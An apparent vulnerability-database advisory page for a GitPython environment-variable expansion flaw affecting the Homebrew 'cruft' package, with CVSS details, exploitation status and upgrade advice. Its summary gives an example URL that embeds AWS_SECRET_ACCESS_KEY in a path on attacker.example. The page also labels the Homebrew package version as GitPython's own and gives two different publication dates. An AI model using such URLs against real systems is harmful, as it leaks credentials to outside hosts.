CVE-2026-73622VulnerabilityPublished 14 Aug 2026Updated 26 Oct 2026

cruft · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of

Affects cruftSource GCVE Database

Authoritative record:CVE-2026-73622· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 2.16.0_12 soon.

Data as of 26 Oct 2026, 17:42 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 43% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.16.0_12

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cruft to 2.16.0_12.

Affected software

Product	Affected	Fixed in
Homebrewcruft`pkg:brew/cruft`Other threats	Affected >=2.9.0 <2.16.0_12	Fixed in 2.16.0_12

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A patch is available in GitPython version 2.16.0_12 that disables environment variable expansion in all relevant URL-processing functions. Users should upgrade to version 2.16.0_12 or later to remediate this vulnerability. No additional mitigation steps are required once the patch is applied.

Description

GitPython versions prior to 2.16.0_12 contain a vulnerability where environment variables embedded in URLs passed to Repo.create_remote() or Remote.add() are expanded and stored in the repository configuration. This can lead to secret environment variables being exfiltrated to attacker-controlled hosts during subsequent fetch or pull operations. The issue stems from an incomplete fix that only addressed Repo.clone_from() but left other URL-processing calls vulnerable. A patch is available in version 2.16.0_12.

Impact

An attacker able to supply repository URLs to the affected GitPython APIs can cause sensitive environment variables from the hosting process to be embedded into repository configuration files and transmitted over the network to attacker-controlled servers. This leads to high confidentiality impact due to secret leakage. There is no impact on integrity or availability reported.

Summary

The vulnerability in GitPython arises because the function Git.polish_url() expands environment variables in URLs by default (expand_vars=True). While a previous fix disabled this expansion for Repo.clone_from(), other public APIs such as Repo.create_remote() and Remote.add() still pass attacker-controlled URLs through this function without disabling variable expansion. An attacker can supply a URL containing environment variable references (e.g., http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git), which get expanded on the server side, embedding secrets into .git/config or .gitmodules files. These secrets are then transmitted to the attacker during fetch or pull operations. The check for unsafe protocols occurs after expansion and does not block HTTPS URLs carrying secrets. The vulnerability affects GitPython versions >=2.9.0 and <2.16.0_12 and is fixed in 2.16.0_12.

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 26 Oct 2026, 17:42 UTC

Technical details

References

Community reviews

Related threats